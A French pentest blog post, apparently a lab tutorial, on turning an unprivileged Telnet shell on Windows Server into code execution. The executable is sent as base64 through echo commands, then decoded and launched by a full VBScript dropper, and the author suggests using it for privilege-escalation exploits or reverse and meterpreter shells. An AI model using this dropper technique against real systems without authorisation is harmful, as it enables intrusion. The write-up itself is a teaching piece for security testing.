From telnet shell to NT System

 

Lors d’un exercice de pentest on m’a donné comme objectif de complètement rooter un serveur Windows 2003. Pour cela j’avais plusieurs portes d’entrées dont le fameux SMB ou encore un vieux serveur Tomcat disposant de credentials de base. Mais de toutes les techniques que j’ai pu utiliser, il y en a une dont je suspectais l’existence mais que je n’avais jamais utilisé !

Pour la mettre en œuvre, je n’ai eu besoin que d’un accès Telnet et d’un compte utilisateur non privilégié. Dans cet article nous allons dans un premier temps voir comment créer l’environnement de laboratoire à l’aide d’une VM Windows 2012 puis nous passerons à la partie Exploit.

I/ Mise en place du laboratoire

La première chose à faire, c’est donc de télécharger une ISO de Windows 2012 et de l’installer. Ensuite nous allons créer un utilisateur dont l’identifiant sera telnet et le mot de passe telnet aussi. Pour cela, il suffit d’ouvrir un invité de commande (cmd) en tant qu’administrateur et de taper  cette commande :

net user telnet telnet /ADD

nt1.png

Comme vous pouvez le voir sur le screen ci dessus, un nouvel utilisateur a été ajouté. Ensuite il va falloir activer le service Telnet (il est désactivé par défaut vu qu’il n’est pas du tout sécurisé). Pour cela on va se servir du powershell :

Install-WindowsFeature -name Telnet-Server

Si tout s’est bien passé alors vous devrez obtenir ceci (j’avais déjà installé le serveur Telnet donc ici j’ai installé le client Telnet mais le résultat est le même) :

nt2.png

Puis il faudra activer le service telnet server et le démarrer. Pour cela on entrera ces deux commandes dans un invite de commande administrateur :

sc config tlntsvr start=demand
net start telnet

nt3.png

Maintenant si je lance un scan nmap sur la VM je devrais voir le port 23 ouvert :

nt4.png

Dernière chose à faire, il faut ajouter l’utilisateur telnet au groupe TelnetClients. Pour cela on utilisera cette commande :

net localgroup TelnetClients telnet /ADD

A partir de maintenant on pourra se connecter via Telnet avec notre compte telnet/telnet :

nt5.png

Notre laboratoire est en place passons à l’exploitation !

II/ Exploitation du shell Telnet

Pendant longtemps j’ai cherché à exploiter une faille de type privilège escalation (pour passer de simple utilisateur à administrateur ou NT system) en recherchant les services vulnérables sur la machine. Mais ce que j’avais oublié c’est que via un simple Shell Telnet, on peut créer des fichiers… Et y ajouter du contenu !

Voyez par vous même :

nt6.png

A partir de là on pourrait se dire que l’on va pouvoir coder un exploit en C par exemple ! Le problème c’est que de base nous n’avons pas de compilateur donc nous ne pourrons pas compiler puis exécuter notre programme. Pareil pour Python, nous n’avons pas d’interpréteur à disposition… Comment faire du coup ? Eh bien ce que j’ai pensé faire au début, c’est envoyer ligne par ligne un exploit déjà compilé ! Un simple printf(« Hello World ! »); pour commencer.

Le problème c’est que l’exécutable reçu ne pouvait pas être exécuté. Du coup je me suis dit qu’il pourrait être intéressant d’encoder l’ensemble de l’exécutable en base64 avant de l’envoyer !

En ligne de commande sous Debian il existe un petit utilitaire qui peut encoder un fichier très rapidement. Voici comment on l’utilise :

$ base64 "l'exécutable" > "le_fichier_base64"

On récupère donc un fichier encodé en base 64 :

nt7.png

Bueno maintenant il va falloir l’envoyer toujours en utilisant la même syntaxe depuis le shell Telnet :

echo "première_ligne_du_fichier_base64" > exploit.b64

Cependant envoyer une dizaine de millier de lignes comme ça peut vite devenir ennuyeux. Surtout que là nous n’envoyons qu’un simple hello world.

Partons du principe que vous avez été courageux et que vous avez envoyé les dix mille lignes à la main. Du côté du serveur vous allez donc avoir votre exécutable encodé au format base64.

nt8.png

Problème, vous ne pourrez pas l’exécuter… Bah ouais, il est encodé !

Qu’à cela ne tienne, on va le décoder ! Comment ? Ah c’est vrai, j’avais oublié que sur notre serveur nous n’avons ni Python, ni C, ni PHP (perso je connais que ces trois langages ahah).  Sauf que sur toutes les versions de Windows on dispose d’un langage de scripting : le VB script !

Le voilà notre sésame !! Avec du VB Script il est possible de décoder du base64 donc de décoder notre exécutable .b64 en .exe ! Voici le script VBS que j’utilise :

Set fs = CreateObject("Scripting.FileSystemObject")
Set file = fs.GetFile("{}")
If file.Size Then
Set fd = fs.OpenTextFile("{}", 1)
data = fd.ReadAll
data = Replace(data, vbCrLf, "")
data = base64_decode(data)
fd.Close
Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("{}", 2, True)
ofs.Write data
ofs.close
Set shell = CreateObject("Wscript.Shell")
shell.run ("{}")
Else
Wscript.Echo "The file is empty."
End If
Function base64_decode(byVal strIn)
Dim w1, w2, w3, w4, n, strOut
For n = 1 To Len(strIn) Step 4
w1 = mimedecode(Mid(strIn, n, 1))
w2 = mimedecode(Mid(strIn, n + 1, 1))
w3 = mimedecode(Mid(strIn, n + 2, 1))
w4 = mimedecode(Mid(strIn, n + 3, 1))
If Not w2 Then _
strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255))
If  Not w3 Then _
strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255))
If Not w4 Then _
strOut = strOut + Chr(((w3 * 64 + w4) And 255))
Next
base64_decode = strOut
End Function
Function mimedecode(byVal strIn)
Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
If Len(strIn) = 0 Then
mimedecode = -1 : Exit Function
Else
mimedecode = InStr(Base64Chars, strIn) - 1
End If
End Function

Pour la petite anecdote, ce script est utilisé dans le framework Metasploit dans l’exploit exploit/windows/mssql/mssql_payload. Il va donc falloir upload ce script vbs sur le serveur (toujours en utilisant la méthode du echo « quelque chose « > fichier). Au final on aura donc notre script VBS et l’executable encodé en base64 :

nt9.png

Notez bien que dans le script VBS, nous exécutons l’exécutable une fois qu’il est décodé via la ligne :

shell.run("main.exe")

Par conséquent, il suffit de lancer le script VBS pour lancer l’exécution de l’exe. Pour cela on utilise cette commande :

cscript decodeb64.vbs

On retrouve bien notre exécutable :

nt10.png

Suivant ce que vous avez envoyé comme exécutable, vous pourrez procéder à une élévation de privilège, un reverse/bind/meterpreter shell TCP ou tout autre chose. Bien évidemment dans le cadre d’un pentest, on se contentera d’un whoami pour prouver que nous avons les droits NT system et de faire un screenshot  ! Pour cet article nous récupérerons juste l’output de notre exécutable sur notre shell Telnet :

nt11.png

III/ Pour aller plus loin

La technique que je viens de vous montrer est très longue à mettre en place puisqu’il faut envoyer l’ensemble de l’exécutable encodé en base64 à la main. De plus, pour monter en privilège, il est nécessaire de disposer d’un exploit (ce qui n’est pas toujours le cas).

Pour l’exploit je ne peux rien faire pour vous, si vous n’en trouvez pas sur des sites comme exploit-db c’est qu’il n’en existe probablement pas. En revanche pour l’exécution de la méthode, j’ai développé un script Python qui automatise la tâche. Vous le trouverez commenter sur mon GitHub.

Pour envoyer un exécutable de 48Ko il faut à peu près 1H30. Cela peut paraître long et effectivement ça l’est… Le problème c’est que j’utilise une librairie qui prend en charge la gestion de la connexion Telnet et je suspecte que cette librairie confonde les flux Telnet entrants et sortants. Pour éviter que les données se croisent et donc que nos données envoyées ne soient corrompues, il a fallu que j’espace suffisamment deux envois consécutifs.

Je retravaillerai probablement ce script plus tard quand j’aurais un peu de temps. En attendant il fonctionne parfaitement et vous permettra de mettre en œuvre ce que je vous ai montré plus haut !